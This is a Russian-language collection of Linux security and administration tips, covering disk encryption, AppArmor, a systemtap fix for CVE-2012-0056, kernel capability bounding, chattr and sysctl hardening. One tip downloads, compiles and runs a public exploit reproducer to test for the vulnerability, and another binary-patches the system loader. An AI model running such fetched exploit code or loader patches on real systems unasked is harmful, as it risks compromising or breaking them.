    
    
       truncate -s 4GB disk.img
       parted disk.img mklabel gpt
       parted disk.img mkpart primary 1Mib 100Mib
       parted disk.img mkpart primary 100Mib 100%
       parted disk.img set 1 esp on
       parted disk.img set 1 boot on
    
    Настраиваем EFI на первом разделе и дисковое шифрование LUKS на втором. Для
    повышения защищённости можно заполнить шифрованный раздел случайными числами,
    но это приведёт к увеличению размера итогового образа qcow2. Создаём на
    шифрованном разделе ФС Ext4.
    
    привязываем образ к loop-устройству
    
       losetup -P -f disk.img          
    
    определяем имя созданного устройства (/dev/loopN), в дальнейшем используем
    переменную $l вместо устройства
    
       l=($(losetup -l|grep disk.img)) 
    
    создаём раздел с EFI, используем VFAT
    
       mkfs.vfat ${l}p1
    
    определяем UUID раздела EFI
    
       blkid ${l}p1  
    
    создаём шифрованный раздел, в процессе задаём временный пароль для расшифровки
    
       cryptsetup --type luks1 luksFormat ${l}p2 
    
    определяем UUID шифрованного раздела
    
       blkid ${l}p2 
    
    активируем шифрованный раздел и создаём на нём ФС ext4
    
       cryptsetup luksOpen ${l}p2 cr_root
       mkfs.ext4 /dev/mapper/cr_root
    
    монтируем раздел, копируем в него содержимое tar-архива с начинкой корневого
    раздела и создаём каталоги для точек монтирования /run, /sys, /proc и /dev.
    
       mount /dev/mapper/cr_root /mnt
       tar -C /mnt -xpf vm_root.tar
       for m in run sys proc dev; do mount --bind /$m /mnt/$m; done
    
    входим в окружение созданного корневого раздела
    
       chroot /mnt
    
    В /etc/fstab определяем метку корневого раздела (/dev/disk/cr_root) и раздела  EFI (/boot/efi).
    
    Настраиваем и устанавливаем загрузчик GRUB (в некоторых дистрибутивах вместо
    /boot/grub используется /boot/grub2, а вместо префикса "grub" - "grub2-"):
    
      echo "GRUB_ENABLE_CRYPTODISK=y" >> /etc/default/grub
       mount /boot/efi
       grub-install --removable --target=x86_64-efi
       grub-mkconfig -o /boot/grub/grub.cfg
    
    Для систем с mkinitramfs (Debian) дополнительно нужно добавить параметры
    шифрованного раздела в /etc/crypttab:
    
       cr_root UUID=<uuid> luks none
    
    После чего пересоздаём образ ram-диска с компонентами для начальной загрузки. 
    
    
    Для систем с dracut требуется изменить настройки /etc/default/grub, указав в
    GRUB_CMDLINE_LINUX привязку rd.luks.uuid=<UUID>. Для дистрибутивов с SELinux
    также нужно обновить метки (relabel).
    
    Отмонтируем созданные в процессе подготовки образа разделы из /mnt и пытаемся
    загрузить образ, используя режим EFI. В процессе загрузки вводим заданный ранее
    временный пароль и проверяем работоспособность окружения.
    
    Заменяем временный пароль на ключ для быстрой загрузки и настраиваем ram-диск
    для его использования. Для образа, примонтированного через /dev/sda:
    
       dd if=/dev/urandom bs=1 count=33|base64 -w 0 > /etc/cryptsetup-keys.d/luks-<UUID>.key
       chmod 600 /etc/cryptsetup-keys.d/luks-<UUID>.key
       cryptsetup --key-slot 1 luksAddKey /dev/sda2 # первичный ключ для восстановления
       cryptsetup --key-slot 0 luksRemoveKey /dev/sda2 # удаляем временный ключ
       cryptsetup --key-slot 0 --iter-time 1 luksAddKey /dev/sda2 /etc/cryptsetup-keys.d/luks-<UUID>.key
    
    Указание опции "-w 0" в dd необходимо для того, чтобы исключить появление в
    пароле символа перевода строки.
    
    Для систем с mkinitramfs теперь нужно изменить настройки /etc/crypttab, указав
    путь к сгенерированному ключу:
    
       cr_root UUID=<UUID> /etc/cryptsetup-keys.d/luks-<UUID>.key luks
    
    Для систем с dracut необходимо добавить hook ключа в /etc/dracut.conf.d, а для
    Debian также потребуется указать маску определения файла с ключом:
    
    cryptodisk.conf 
       install_items+=" /etc/cryptsetup-keys.d/* "
    
       echo "KEYFILE_PATTERN=\"/etc/cryptsetup-keys.d/*\"" >>/etc/cryptsetup-initramfs/conf-hook
    
    Теперь можно перегенерировать образ RAM-диска начальной загрузки. После попытки
    загрузки пароль будет спрошен один раз только на стадии запуска GRUB и на
    последующих стадиях загрузки запрашиваться не будет.
    
     
    ----* Отключение LD_PRELOAD в Linux (доп. ссылка 1)   [комментарии]
     
    Для блокирования работы переменной окружения LD_PRELOAD, позволяющей
    принудительно загрузить разделяемую библиотеку со своими обработчиками для
    функций используемых в программе библиотек, можно использовать следующий скрипт.
    
    ldpreload-disable.sh:
    
       #!/bin/bash
    
       if [ $# -lt 1 ];then
    	printf "./ldpreload-disable.sh [ld-linux.so] [64|32]\n"
    	exit 0
       fi
    
       ld_linux="$1"
       [ "$2" == "64" ] && xor='\x48' || xor=''
    
       offset=$((16#$(readelf -s $ld_linux | awk '/do_preload/ {print $2}')))
       printf $xor'\x31\xc0\xc3' | dd conv=notrunc of=$ld_linux bs=1 seek=$offset
    
    
    
    Пример использования для 64-разрядной системы:
    
       $ sudo bash ldpreload-disable.sh $HOME/fedora-chroot/lib64/ld-2.22.so 64
    
    для 32-разрядной системы:
    
       $ sudo bash ldpreload-disable.sh $HOME/fedora-chroot/lib/ld-2.22.so 32
    
     
    ----* Запуск Skype в изолированном окружении Apparmor (доп. ссылка 1)   [комментарии]
     
    Для защиты от потенциального доступа закрытого приложения Skype к данным других
    программ можно организовать выполнение Skype в изолированном окружении.
    
    Создаём профиль Apparmor на основе тестового запуска приложения:
    
       sudo genprof /usr/bin/skype
    
    После этого будет создан профиль для  сбора информации о работе приложения. В
    другой консоли запускаем Skype, делаем тестовый вызов и выходим из Skype.
    
    Повторно запускаем:
    
       sudo genprof /usr/bin/skype
    
    и инициируем сканирование накопленных событий, выбрав "S". В процессе вывода
    результатов выбираем что можно процессу, а что нет. В завершении жмём "S" для
    сохранения профиля и "F" для выхода.
    
    Профиль будет создан в файле /etc/apparmor.d/usr.bin.skype
    Если нет желания разбираться с составлением правил вручную можно использовать готовый профиль:
    
       #include <tunables/global>
       /usr/bin/skype {
          #include <abstractions/audio>
          #include <abstractions/base>
          #include <abstractions/fonts>
          #include <abstractions/nameservice>
          #include <abstractions/nvidia>
          /etc/gai.conf r,
          /home/*/.ICEauthority r,
          /home/*/.Skype/** krw,
          /home/*/.Xauthority r,
          /home/*/.config/* kr,
          /home/*/.kde/share/config/kioslaverc r,
          /proc/*/cmdline r,
          /tmp/.ICE-unix/* w,
          /tmp/.X11-unix/* w,
          /usr/bin/skype mr,
          /usr/share/X11/* r,
          /usr/share/icons/** r,
          /usr/share/skype/** kr,
        }
    
    Перезапускаем AppArmor:
    
       sudo /etc/init.d/apparmor restart
    
    Активируем работу Skype в sandbox-окружении Apparmor:
    
       sudo aa-enforce skype
    
    Проверяем результат:
    
     sudo sudo apparmor_status
    
     
    ----* Использование systemtap для устранения уязвимости в реализации /proc/pid/mem (доп. ссылка 1)   [комментарии]
     
    Для устранения уязвимости CVE-2012-0056 в /proc/pid/mem без обновления ядра
    Linux можно использовать systemtap для ограничения системного вызова. Systemtap
    из коробки доступен в RHEL/CentOS и может быть установлен из репозитория в
    Debian/Ubuntu. Без systemtap обходным путем решения проблемы является
    блокирования доступа пользователя на запуск setuid-программ.
    
    Проверим, уязвима ли наша система. Для этого загружаем, собираем и запускаем
    специальную проверочную утилиту:
    
       $ wget http://grsecurity.net/~spender/correct_proc_mem_reproducer.c
       $ make correct_proc_mem_reproducer
       $ ./correct_proc_mem_reproducer
       vulnerable
    
    Рассмотрим процесс установки и использования systemtap в Ubuntu и Debian.
    
    Установим systemtap и пакет для отладки ядра (занимает около 2 Гб)
    
    Debian:
    
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbg
    
    Ubuntu (требуется подключение отладочного репозитория):
    
       sudo apt-get install -y lsb-release
       echo "deb http://ddebs.ubuntu.com/ $(lsb_release -cs) main restricted universe multiverse" | \\
         tee -a /etc/apt/sources.list.d/ddebs.list
       sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ECDCAD72428D7C01
       sudo apt-get update
       sudo apt-get install -y systemtap linux-image-$(uname -r)-dbgsym
    
    Если в процессе выполнения "apt-get update" выведена ошибка, загружаем и
    устанавливаем отладочные пакеты с ядром вручную:
    
       sudo apt-get install -y systemtap dpkg-dev
       wget http://ddebs.ubuntu.com/pool/main/l/linux/$(dpkg -l linux-image-$(uname -r) | \\
          grep ^ii | awk '{print $2 "-dbgsym_" $3}' | tail -n1)_$(dpkg-architecture -qDEB_HOST_ARCH).ddeb
       sudo dpkg -i linux-image-$(uname -r)-dbgsym.ddeb
    
    Создаём systemtap-скрипт proc-pid-mem.stp для блокирования уязвимости (в
    функции mem_write изменяем на ноль значение аргумента count, определяющего
    размер записываемых данных):
    
       probe kernel.function("mem_write@fs/proc/base.c").call {
               $count = 0
       }
    
    Запускаем скрипт:
    
       sudo stap -Fg proc-pid-mem.stp
    
    Убедимся, что уязвимость теперь не проявляется:
    
       $ ./correct_proc_mem_reproducer
       not vulnerable
    
    
    Чтобы каждый раз не компилировать модуль systemtap, можно собрать его загодя:
    
       stap -g -m cve_2012_0056 proc-pid-mem.stp -p4
    
    (опция  "-g" включает режим гуру, при котором допускается изменение параметров
    функций, опция -m cve_2012_0056 задаёт имя модуля, -p4 указывает на
    необходимость остановиться на 4 шаге и не загружать модуль)
    
    Копируем созданный модуль в область с модулями ядра:
    
       mkdir /lib/modules/$(uname -r)/systemtap
       cp cve_2012_0056.ko /lib/modules/$(uname -r)/systemtap
    
    Запускаем модуль:
    
       staprun -L cve_2012_0056
    
    Достоинство использования готового модуля в том, что для его запуска нет
    необходимости в отладочных пакетах (для сборки они нужны), т.е. его можно
    скопировать на другие системы с той же версией ядра Linux.
    
    По аналогии можно вклиниваться в работу других системных вызовов. Некоторые 
    примеры:
    
    
    
       Запрет на создание файлов с определённым именем:
       #!/usr/bin/env stap
       # badname.stp
       # Prevent the creation of files with undesirable names.
       # Source: http://blog.cuviper.com/2009/04/08/hacking-linux-filenames/
    
       # return non-zero if the filename should be blocked
       function filter:long (name:string)
       {
         return isinstr(name, "XXXbadnameXXX")
       }
    
       global squash_inode_permission
       probe kernel.function("may_create@fs/namei.c")
       {
         # screen out the conditions which may_create will fail anyway
         if ($child->d_inode || $dir->i_flags & 16) next
    
         # check that the new file meets our naming rules
         if (filter(kernel_string($child->d_name->name)))
           squash_inode_permission[tid()] = 1
       }
       probe kernel.function("inode_permission@fs/namei.c").return !,
             kernel.function("permission@fs/namei.c").return
       {
       if (!$return && squash_inode_permission[tid()])
         $return = -13 # -EACCES (Permission denied)
         delete squash_inode_permission[tid()]
       }
    
    
    Блокирование работы ptrace: http://sourceware.org/systemtap/examples/process/noptrace.stp
    
    Вывод в лог дополнительных данных о всех TCP-соединениях:
    
       #! /usr/bin/env stap
    
       probe begin {
         printf("%6s %16s %6s %6s %16s\\n",
             "UID", "CMD", "PID", "PORT", "IP_SOURCE")
       }
    
       probe kernel.function("tcp_accept").return?,
             kernel.function("inet_csk_accept").return? {
         sock = $return
         if (sock != 0)
           printf("%6d %16s %6d %6d %16s\\n", uid(), execname(), pid(),
               inet_get_local_port(sock), inet_get_ip_source(sock))
       }
    
    Вывод деталей о входе и выходе из функции ядра:
    
       #! /usr/bin/env stap
       # Simple probe to detect when a process is waiting for more socket send
       # buffer memory. Usually means the process is doing writes larger than the
       # socket send buffer size or there is a slow receiver at the other side.
       # Increasing the socket's send buffer size might help decrease application
       # latencies, but it might also make it worse, so buyer beware.
       #
       # Typical output: timestamp in microseconds: procname(pid) event
       #
       # 1218230114875167: python(17631) blocked on full send buffer
       # 1218230114876196: python(17631) recovered from full send buffer
       # 1218230114876271: python(17631) blocked on full send buffer
       # 1218230114876479: python(17631) recovered from full send buffer
    
       probe kernel.function("sk_stream_wait_memory")
       {
      	printf("%u: %s(%d) blocked on full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
       probe kernel.function("sk_stream_wait_memory").return
       {
    	printf("%u: %s(%d) recovered from full send buffer\\n",
    		gettimeofday_us(), execname(), pid())
       }
    
     
    ----* Запрещение загрузки модулей Linux-ядра (доп. ссылка 1)   [комментарии]
     
    Повысить безопасность серверов и защитить их от внедрения руткитов в системах
    на базе Linux-ядра младше 2.6.25 (например, CentOS/RHEL 5) можно используя
    режим Capability Bounding, включаемый через файл /proc/sys/kernel/cap-bound.
    Capability Bounding действует на все процессы, если какой-то из
    Capability-режимов запрещен через /proc/sys/kernel/cap-bound, то использовать
    данную возможность не сможет ни один процесс, независимо от его привилегий.
    Используя данный режим можно блокировать для пользователя root возможность
    загрузки модулей ядра, изменения правил пакетного фильтра, использования
    raw-сокетов, изменения владельца файлов, монтирования разделов и других
    системных действий.
    
    
    Посмотреть текущее состояние режима можно командой:
    
       cat /proc/sys/kernel/cap-bound
    
    а для установки нового значения, можно использовать команду:
    
      echo значение > /proc/sys/kernel/cap-bound
    
    Значение содержит шестнадцатеричное или десятичное представление битовой маски,
    кодирующей устанавливаемые флаги.
    
    Например, установив режим CAP_SYS_MODULE (для установки нужно очистить бит номер 16):
    
       echo $((0xffffffff ^ (1 << 16))) > /proc/sys/kernel/cap-bound
    
    или в шестнадцатеричном виде:
    
     echo 0xFFFEFFFF > /proc/sys/kernel/cap-bound
    
    будет заблокирована загрузка любых модулей ядра.
    
    Попытка загрузить или выгрузить модуль приведет к выводу ошибки.
    
       modprobe ide_cd
    
    приведет к выводу ошибки:
    
       FATAL: Error inserting ide_cd (/lib/modules/2.6.18-194.3.1.el5/kernel/drivers/ide/ide-cd.ko): Operation not permitted
    
    Изменять /proc/sys/kernel/cap-bound нужно с большой осторожностью, так как
    установка неверного значения может привести к неработоспособности системы.
    Установленный флаг уже не может быть изменен, т.е. злоумышленник не может
    записать 0xFFFFFFFF и отменить установку маски 0xFFFEFFFF.
    
    
    Список других Capability-режимов можно посмотреть в файле /usr/src/linux/include/linux/capability.h:
    
       grep '#define CAP' /usr/src/linux/include/linux/capability.h
    
    
       #define CAP_CHOWN            0
       #define CAP_DAC_OVERRIDE     1
       #define CAP_DAC_READ_SEARCH  2
       #define CAP_FOWNER           3
       #define CAP_FSETID           4
       #define CAP_KILL             5
       #define CAP_SETGID           6
       #define CAP_SETUID           7
       #define CAP_SETPCAP          8
       #define CAP_LINUX_IMMUTABLE  9
       #define CAP_NET_BIND_SERVICE 10
       #define CAP_NET_BROADCAST    11
       #define CAP_NET_ADMIN        12
       #define CAP_NET_RAW          13
       #define CAP_IPC_LOCK         14
       #define CAP_IPC_OWNER        15
       #define CAP_SYS_MODULE       16
       #define CAP_SYS_RAWIO        17
       #define CAP_SYS_CHROOT       18
       #define CAP_SYS_PTRACE       19
       #define CAP_SYS_PACCT        20
       #define CAP_SYS_ADMIN        21
       #define CAP_SYS_BOOT         22
       #define CAP_SYS_NICE         23
       #define CAP_SYS_RESOURCE     24
       #define CAP_SYS_TIME         25
       #define CAP_SYS_TTY_CONFIG   26
       #define CAP_MKNOD            27
       #define CAP_LEASE            28
       #define CAP_AUDIT_WRITE      29
       #define CAP_AUDIT_CONTROL    30
       #define CAP_SETFCAP	     31
       #define CAP_MAC_OVERRIDE     32
       #define CAP_MAC_ADMIN        33
       
    Описание можно найти в стандартном системном руководстве:
    
       man 7 capabilities
    
    Возможность /proc/sys/kernel/cap-bound работает только для Linux-ядер до версии
    2.6.25. Начиная с ядра 2.6.25 прекращена поддержка глобального общесистемного
    Capability Bounding, маску можно указывать с использованием системного вызова
    prctl только для отдельных нитей (установка Capability Bounding для процесса,
    отражается и на всех его потомках).
    
    Для блокирования загрузки модулей в более новых ядрах следует использовать файл
    /proc/sys/kernel/modules_disabled (для запрета загрузки модулей в него
    достаточно записать 1).
    
     
    ----* Создание шифрованного загрузочного LiveUSB c Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Добавление Loop-AES шифрования к Debian Live.
    
    Устанавливаем пакет для создания livecd сборки debian (все операции проводятся
    под пользователем root):
    
       apt-get install live-helper
    
    Создаем директорию в которой будем производить сборку (на диске должно быть
    минимум 3 Гб свободного места):
    
       mkdir DebianLive
       cd DebianLive
    
    Определяем конфигурацию LiveCD:
    
       lh_config -b usb-hdd -d lenny -e aes256
    
    При необходимости правим параметры или удаляем/добавляем пакеты через правку
    настроек в созданной директории config/:
    Дополнительные пакеты можно поместить в config/chroot_local-packages/
    Список пакетов из стандартных репозиториев в config/chroot_local-packageslists/
    (готовый список в /usr/share/live-helper/lists/)
    Помещаемые на LiveUSB дополнительные файлы  можно скопировать в config/chroot_local_includes/,
    например для добавления /etc/privoxy/config, его нужно скопировать как config/chroot_local-includes/etc/privoxy/config
    
    
    Запускаем процесс сборки LiveCD:
    
       lh_build
    
    в процессе работы скрипт потребует два раза ввести пароль, под которым будет
    осуществляться доступ к содержимому LiveUSB.
    
    Далее копируем получившийся образ на usb flash /dev/sdc:
    
       dd if=binary.img of=/dev/sdc bs=1M
    
    Шифрование используется для безопасного хранения на LiveUSB таких данных как
    PGP ключи, сохранные в firefox ключи и пароли.
    
    Некоторые полезные опции lh_config:
    -d lenny  - имя релиза (lenny|squeeze|sid)
    -b usb-hdd  - тип итогового образа (iso|net|tar|usb-hdd)
    -e aes256   - тип шифрования (aes128|aes192|aes256)
    --mirror-bootstrap http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/
    --mirror-chroot http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/ 
    --mirror-chroot-security http://192.168.100.1:3142/security.debian.org/ 
         перенаправление к локальному apt-proxy
    --debian-installer enabled  - добавить инсталлятор Debian в Live-образ
    --debian-installer-distribution lenny  - выбор дистрибутива для инсталлятора (lenny|squeeze|sid)
    --packages-lists "my_package_list" установить пакеты определенные в config/chroot_locale-packageslist/my_package_list
    --bootstrap-flavour minimal --packages-lists "minimal"  - формирование
    минимального образа, размером около 100 Мб
    
     
    ----* Изменение метода хэширования паролей в Red Hat подобных дистрибутивах (доп. ссылка 1)   [комментарии]
     
    В будущих версиях RHEL и Fedora Linux появится возможность
     использования для хэширования паролей алгоритмов SHA-256 и SHA-512 
    
    В Kickstart режиме:
    
    DES
    
       authconfig --enableshadow --passalgo=descrypt
    
    MD5
    
       authconfig --enableshadow --enablemd5
    или
       authconfig --enableshadow --passalgo=md5
    
    SHA-256
    
       authconfig --enableshadow --passalgo=sha256
    
    SHA-512
    
       authconfig --enableshadow --passalgo=sha512
    
    Тип хэша также можно задать через /etc/logis.desf, присвоив переменной
     ENCRYPT_METHOD значение DES, MD5, SHA256 или SHA512
    
     
    ----* Настройка аутентификации по отпечаткам пальцев в Ubuntu Linux   [комментарии]
     
    Устанавливаем пакеты необходимые для сборки системы fprint:
      aptitude install libpam0g-dev libusb-dev libmagick9-dev libglib2.0-dev libssl-dev
      aptitude install libgtk2.0-dev libx11-dev libxv-dev # если будет сборка с поддержкой x11
    
    Загружаем libfprint и pam_fprint с сайта http://www.reactivated.net/fprint 
    Собираем стандартно через: 
       ./configure
       make
       make install
    
    Или пересобираем готовые Debian пакеты:  
    ---
       Качаем .dsc, tar.gz и diff.gz со страниц
       http://packages.debian.org/experimental/libfprint0
       http://packages.debian.org/experimental/libpam-fprint
    
       Устанавливаем доп. пакеты необходимые для сборки:
       aptitude install fakeroot autotools-dev debhelper dpkg-dev 
       
       dpkg-source -x libfprint_0.0.5-2.dsc
       cd libfprint-0.0.5
       dpkg-buildpackage -rfakeroot 
    
       Пакет libpam-fprint создается по аналогии
    ---
    
    Генерируем слепок отпечатка указательного пальца 
    (запускаем под логином для которого сохраняем отпечаток):
       pam_fprint_enroll --enroll-finger 7
    
    Для опциональной аутентификации по отпечатку (возможность ввести пароль остается), 
    в /etc/pam.d/common-auth первой строкой ставим:
       auth   sufficient      pam_fprint.so
    
    Если пускать в систему нужно только после сверки отпечатка, "sufficient" заменяем на "required".
    
    PS. В Gentoo Linux добавляем в /etc/pam.d/system-auth перед строкой c pam_unix.so
    
     
    ----* Изменение атрибутов ext2fs и ext3fs используя chattr (доп. ссылка 1)   [обсудить]
     
    Команда chattr позволяет изменять параметры ФС для отдельного файла или директории:
       chattr +a - только добавление данных (append-only), удаление и переименование запрещено;
       chattr +i - запрещено удаление, изменение или переименование (immutable);
       chattr +A - запретить сохранение данных о каждом обращении к файлу (no atime)
       chattr +S - синхронное изменение всех данных на диск, без кэширования;
       chattr +c - файл будет хранится на диске в сжатом виде (нужен отдельный патч для ядра);
       chattr +s - после удаления файла, место на диске забивается нулями (внешний патч);
       chattr +u - резервирование данных файла после удаления (внешний патч);
    
    Пример:
       chattr -R +i /bin /sbin /usr/bin /usr/sbin - запрещаем изменение бинарников
       chattr +a /var/log/secure - предотвращаем модификацию лога злоумышленником
    
    Для просмотра расширенных атрибутов используется утилита lsattr.
    
    Для FreeBSD см. man chflags и man security
    
     
    ----* Как защитить Linux от некоторых DoS атак.   [комментарии]
     
    Настройки для увеличения безопасности:
      /sbin/sysctl -w net.ipv4.conf.all.send_redirects=0
      /sbin/sysctl -w net.ipv4.conf.all.accept_redirects=0
      /sbin/sysctl -w net.ipv4.conf.all.accept_source_route=0
      /sbin/sysctl -w net.ipv4.conf.all.mc_forwarding=0
      /sbin/sysctl -w net.ipv4.icmp_echo_ignore_broadcasts=1
      /sbin/sysctl -w net.ipv4.icmp_ignore_bogus_error_responses=1
      /sbin/sysctl -w net.ipv4.conf.all.log_martians=1
      /sbin/sysctl -w net.ipv4.conf.all.rp_filter=1
    
     
    ----* Как в linux преобразовать /etc/passwd в shadow   [обсудить]
     
    /usr/sbin/pwconv
    
     
    ----* Как в linux разрешить su только для членов группы wheel   [комментарии]
     
    Добавить в /etc/pam.d/su
    auth     required       pam_wheel.so
    
     

       Установка и работа с пакетами программ в Linux

    ----* Перекомпиляция пакета с icq клиентом в Ubuntu/Debian и Fedora/RHEL/CentOS Linux   [комментарии]
     
    Рассмотрим внесение патча c исправлением на примере пакета licq в Ubuntu Linux.
    
    Убедимся, что в /etc/apt/sources.list присутствует строчка:
    
       deb-src http://archive.ubuntu.com/ubuntu/ intrepid main universe restricted multiverse
    
    Обновляем список пакетов:
    
       apt-get update
    
    Загружаем файлы, необходимые для сборки пакета licq:
    
       apt-get source licq
    
    Устанавливаем окружение, необходимое для сборки пакетов:
    
       apt-get install devscripts 
       apt-get install build-essential
       apt-get install fakeroot
    
    Сохраняем наш патч в licq-rus-login.patch
    (ссылки на патчи с исправление проблемы коннекта icq можно найти здесь -
     http://www.opennet.dev/opennews/art.shtml?num=19883)
    
    Накладываем наш патч:
    
       cd ./licq-1.3.6/src
       cat ../../licq-rus-login.patch| patch -p0
       cd ../.. 
    
    
    Загружаем дополнительные пакеты с библиотеками и программами от которых зависит licq:
    
       apt-get build-dep licq
    
    Собираем пакет:
    
       fakeroot apt-get -b source licq
    
    Устанавливаем пакет:
    
       dpkg -i licq_*.deb licq-plugin-gt*.deb
    
    PS. Для Pingin собирать нужно libpurple0
    
    ----------------
    
    Для Fedora Linux процесс пересборки будет выглядеть так:
    
    Загружаем  SRC-пакет licq:
    
       wget http://mirror.yandex.ru/fedora/linux/releases/10/Everything/source/SRPMS/licq-1.3.5-4.fc10.src.rpm
    
    Устанавливаем его:
    
       rpm -ivh licq-1.3.5-4.fc10.src.rpm
    
    Переходим в директорию /usr/src/redhat/SOURCES и копируем туда свой патч licq-rus-login.patch
    
    Переходим в директорию /usr/src/redhat/SPECS/ и в файле licq.spec добавляем две строки:
    
       ...
       Patch3: licq-rus-login.patch
       ...
       %patch3 -p1 -b .licq-rus-login
    
    Собираем пакет:
    
       rpmbuild -ba licq.spec
    
    Устанавливаем собранные пакеты:
    
       cd /usr/src/redhat/RPMS/i386
       rpm -Uvh --force licq-*
    
     
    ----* Linux окружение noroot в Android-смартфоне собственными руками. (доп. ссылка 1)   Автор: Павел Оредиез  [комментарии]
     
    В этой заметке я расскажу как собрать своё Linux-окружение на Android-смартфоне
    без прав root (рутовать телефон не надо). Можно конечно взять готовые решения в
    Google Play Store, но можно и пройти этот путь самостоятельно.
    
    Если вы решите повторить мой опыт, то вы получите Xfce4-окружение с псевдо
    пользователем root на своём мобильном телефоне с Android. Работает это почти
    без отличий от реального пользователя root, только конечно модифицировать сам
    телефон это возможности не даёт. Итак приступим.
    
    Termux
    
    Установим в Android приложение Termux (требуется Android версии 7 или выше).
    Это наше базовое Linux окружение и отправная точка. Запуская его мы попадаем в
    шелл с домашним каталогом, который будем называть TERMUX_HOME.
    
    Итак в TERMUX_HOME установим требуемые нам начальные пакеты:
    
       pkg install root-repo
       pkg install proot
       pkg install debootstrap
       pkg install nano
       pkg install wget
       pkg install man
    
    Debootstrap
    
    Теперь можно устанавливать Linux окружение.
    Проверим нашу архитектуру.
    
       uname -ar
       Linux localhost 4.9.193-perf-gc285628 #1 SMP PREEMT Fri Aug 6 02:12:50 CST 2021 aarch64 Android
    
    Моя архитектура 64-битная, значит --arch=arm64. Если у вас архитектура
    32-битная, то ваш вариант --arch=armhf
    
    В TERMUX_HOME:
    
       mkdir ./chroot
       debootstrap --arch=arm64 bullseye ./chroot http://mirror.yandex.ru/debian
       mkdir ./chroot/system
       mkdir ./chroot/apex
       mkdir ./chroot/home/user
    
    Вот мы получили базовое окружение. Правда dpkg configure отработает наверное с
    некоторыми ошибками, но войти в окружение уже можно. Ошибки мы разберём позже.
    
    Вход в Linux окружение
    
    Вход под псевдо рутом нам позволяет команда proot, которую мы установили ранее.
    В TEMUX_HOME создадим скрипт входа start.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         -0 \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/root \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для входа не под root (опционально) создайте скрипт входа ustart.sh:
    
       #!/data/data/com.termux/files/usr/bin/sh
       unset LD_PRELOAD
       proot \
         --link2symlink \
         -w /root \
         -r ./chroot \
         -b /sys/ \
         -b /system \
         -b /apex \
         -b /proc/ \
         -b /dev/ \
         -b /dev/pts/ \
         /usr/bin/env \
           -i \
           HOME=/home/user \
           LD_LIBRARY_PATH=/system/lib64:/system/apex/com.android.runtime.release/lib64 \
           XDG_RUNTIME_DIR=/tmp \
           DISPLAY=127.0.0.1:0 \
           PULSE_SERVER=tcp:127.0.0.1:4713 \
           TERM="xterm-256color" \
           PATH=/bin:/usr/bin:/sbin:/usr/sbin \
           /bin/bash --login
    
    Для 32-битного окружение поправьте LD_LIBRARY_PATH
    
    Сделаем скрипты исполняемыми:
    
       chmod a+x start.sh
       chmod a+x ustart.sh
    
    Теперь можно войти в окружение:
    
       ./start.sh
       root@localhost:~#
    
    Вот мы и псевдо root :).
    Назовём это ENV_HOME.
    
    Ошибки dpkg
    
    Ошибки dpkg в основном у меня были связаны с неправильной работой 
    утилиты adduser при добавлении системных пользователей. Поэтому чтобы избежать
    их сразу дополним файлы (в ENV_HOME)
    
    /etc/passwd:
    
       systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
       systemd-network:x:101:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
       systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
       _apt:x:103:65534::/nonexistent:/usr/sbin/nologin
       messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
       statd:x:106:65534::/var/lib/nfs:/usr/sbin/nologin
       avahi:x:108:113:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
       systemd-coredump:x:996:996:systemd Core Dumper:/:/usr/sbin/nologin
       user:x:10264:10264:User:/home/user:/bin.bash
    
    /etc/group:
    
       systemd-journal:x:101:
       systemd-timesync:x:102:
       systemd-network:x:103:
       systemd-resolve:x:104:
       netdev:x:109:pi
       messagebus:x:110:
       avahi:x:113:
       systemd-coredump:x:996:
       user:x:10264:
    
    Здесь id 10264 это id моего пользователь в TERMUX_HOME. У вас может быть другое число.
    
    Второй хук для неисправных пакетов заключается в убирании скриптов конфигурирования (в ENV_HOME):
    
       mv /var/lib/dpkg/info/<package>* /tmp/
    
    Установка остальных пакетов
    
    В ENV_HOME выполним
    
       apt install xfce4 dbus-x11
    
    Мы готовы запустить графическую оболочку, для этого нам нужен X сервер.
    
    X сервер
    
    В Android установите приложение XServer XSDL. Этот сервер имеет также
    звуковую pulseaudio подсистему. Ранее в скриптах входа в окружение в команде
    proot мы передали переменные DISPLAY и PULSE_SERVER, так что у нас все готово
    для запуска (в ENV_HOME):
    
       xfce4-session
    
    Должна запуститься графическая оболочка, звук тоже должен работать (звуковой
    вход не поддерживается только воспроизведение).
    Xserver XSDL может показаться сначала не очень красивым, но он хорошо
    функционален и красоты можно добиться. Мои параметры:
    ориентация портретная, разрешение нативное, дурацкие кнопки alt-shift-чего-то
    скрыты (они у меня всё равно не работают или я не понял как), мышь в режиме
    телефон-тачпад. Можно еще попробовать поиграться с xrandr если поддерживается
    для использования виртуального пространства X сервера, я не пробовал.
    
    Библиотеки Android
    
    В аргументах команды proot мы пробросили в окружение Android каталоги /system и /apex.
    
    Так что нам доступны Android библитеки /system/lib /system/lib64.
    Например мне нужно было чтобы правильно отрабатывала команда
    
       ldd /system/lib64/libOpenSLES.so
    
    (не должно быть "not found").
    
    Если ldd отрабатывает неправильно, то обратите внимание, библиотеки в
    /system/lib* могут быть симлинками на другие места. Возможно надо подбиндить
    другие каталоги Android и(или) поправить LD_LIBRARY_PATH.
    
    Благодарности
    
    Выражаю свою благодарность Sergii Pylypenko (pelya) за его труд - автору проектов 
    XServer XSDL, pulseaudio-android, xserver-xsdl, Debian noroot. У
    него я подсмотрел многое.
    
     
